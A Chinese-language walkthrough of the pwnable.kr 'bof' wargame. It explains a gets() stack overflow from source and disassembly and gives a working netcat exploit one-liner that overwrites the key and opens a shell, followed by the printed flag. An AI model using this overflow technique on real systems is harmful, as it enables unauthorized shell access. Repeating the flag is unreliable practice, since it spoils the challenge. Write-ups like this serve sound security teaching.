pwnable.kr bof

pwnable.kr bof

image.png

同样的,既然有源代码。我们就配合着源代码来做题,这样可能更利于搞懂高级语言被反汇编之后两者之间的联系。

bof.c

#include 
#include 
#include 
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);   // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

这是关于数组溢出的问题,导致这个问题的原因是由于 gets() 函数没有检查接受字符串长度导致的。有的编译器在编译源代码的时候也会提示警告。其实这个题目也是相当的简单,如果你了解栈机制的话。

我们要做的就是让输入的字符串的后面四个字节覆盖 key。其实我们要做的就是算出 overflow 数组的首地址到 key 首地址之间的距离。

image.png

gets(overflow) 是接受输入,当然是从 overflow 的首地址开始存储字节。前面的 esp (esp在汇编中为栈顶指针,栈中数据都是从栈顶进去的,所以你懂的...)存放的就是 overflow 的基址,为 ebp + s 其中 s = byte ptr - 2ch。然后 key 的基址当然要在 cmd 里面找,因为 if (key == 0x....) 所以 ebp + arg_0, 就是 key 的基址,其中 arg_0 = dword ptr 8。然后很简单的算出两者的距离为 52。所以我们在输入 0xcafebabe 之前需要填充 52 个字符。

解题:

$ (python -c "print 'a'*52 + '\xbe\xba\xfe\xca'"; cat -) | nc pwnable.kr 9000
ls
bof
bof.c
flag
log
log2
super.pl
cat flag
daddy, I just pwned a buFFer :)

Flag:daddy, I just pwned a buFFer :)

其实用 gdb 调试也是一样的,由于时间和精力问题,这里不继续下去,感兴趣的自己去尝试。

你可能感兴趣的:(pwnable.kr bof)